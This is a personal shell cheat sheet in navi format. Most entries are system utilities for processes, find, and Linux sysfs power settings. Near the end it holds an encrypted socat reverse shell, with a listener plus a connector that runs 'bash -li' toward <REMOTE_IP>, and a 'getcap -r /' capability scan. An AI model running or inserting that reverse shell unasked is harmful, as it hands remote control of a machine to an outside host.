shell.cheat

% Shell Usage

# Find zombie processes
ps ux | awk '{ if ($8 == "Z+") print }' | awk '{ print $2 }'

# Find parent process of zombie process
ps -o ppid -p <child_id>

# Find files modified in the last 90 minutes
find . -type f -mmin -90

# Find files older than two days
find . -type f -mtime +2

# Change permissions of all files
find . -type f -exec chmod <perm> {} +

# Delete empty files
find . -type f -empty -print -delete

# Find all text files containing a specific word
find . -type f -name "*.txt" -exec grep -iHn 'foo' {} +

# Find active CPU scaling governor
cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

# Find active I/O scheduler
cat <disk>/queue/scheduler

# Check if IdeaPad conservative mode is enabled
cat /sys/bus/platform/drivers/ideapad_acpi/VPC2004\:00/conservation_mode

# Enable IdeaPad conservative mode (run as root)
tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004\:00/conservation_mode <<< 1

# Find AMDGPU power state
cat /sys/class/drm/<card>/device/power_dpm_state

# Find AMDGPU performance level
cat /sys/class/drm/<card>/device/power_dpm_force_performance_level

# Start an encrypted TCP socat listener
socat OPENSSL-LISTEN:<port>,verify=0 FILE:`tty`,raw,echo=0

# Connect to an encrypted socat listener
socat OPENSSL:<REMOTE_IP>:<REMOTE_PORT>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

# Get globally available capabilities
getcap -r / 2>/dev/null

$ child_id: ps ux | awk '{ if ($8 == "Z+") print $2, $11 }' --- --map "awk '{ print $1 }'"
$ disk: find /sys/block -name "nvme*" -o -name "sd*"
$ card: ls /sys/class/drm | grep -oE "card[0-9]+" | head -n 1